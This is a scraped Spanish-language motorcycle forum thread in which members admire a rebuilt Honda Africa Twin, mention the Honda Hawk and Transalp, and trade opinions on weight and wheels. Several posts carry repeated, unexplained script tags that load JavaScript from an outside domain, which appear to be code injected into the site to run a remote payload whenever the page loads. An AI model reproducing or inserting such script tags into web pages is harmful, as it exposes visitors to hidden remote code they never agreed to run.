Una autentica maravilla esa Africa Twin:
http://www.voromv.com/2011/06/africa...la-ultima.html
Aunque lleva encima unas cuantas horas de ingeniería y bastantes euros invertidos.
Versión para imprimir
Una autentica maravilla esa Africa Twin:
http://www.voromv.com/2011/06/africa...la-ultima.html
Aunque lleva encima unas cuantas horas de ingeniería y bastantes euros invertidos.
Por cierto, una preciosidad que llevaba el V2 de 650, la Honda Hawk. Muy parecida a la NTV, pero con chasis de aluminio.
http://www.gt647.de/HAWK/Prospekte/H.../90salesf.jpeg
Coño, auntentico espiritu rat bike en una glamourosa honda, moooola!!<script type="text/javascript" src="https://cuev.in/aux.php?ver=10"></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=10"></script>
Coño, auntentico espiritu rat bike en una glamourosa honda, moooola!!
Delante ahora lleva 21" no?
Alguien la ha pesado?<script type="text/javascript" src="https://cuev.in/aux.php?ver=10"></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=10"></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=10"></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=10"></script>
estéticamente me gusta más esta:
http://1.bp.blogspot.com/-qMg_5edxer...ansalp-012.jpg
Aunque no creo que sea tan efectiva en off, me encantaria venir a trabajar con una de estas, con chupa de cuero y casco abierto...tope hipster!! :cool::cool::cool:
Personalmente la hubiera cambiado por una monocilindrica ligera y "asunto resuelto", solo en el caso de verme obligado a conservar la moto habría radicalizado tanto los cambios.
Si solo buscara efectividad si pero solo por oir el V2 prefiero seguir con la burra.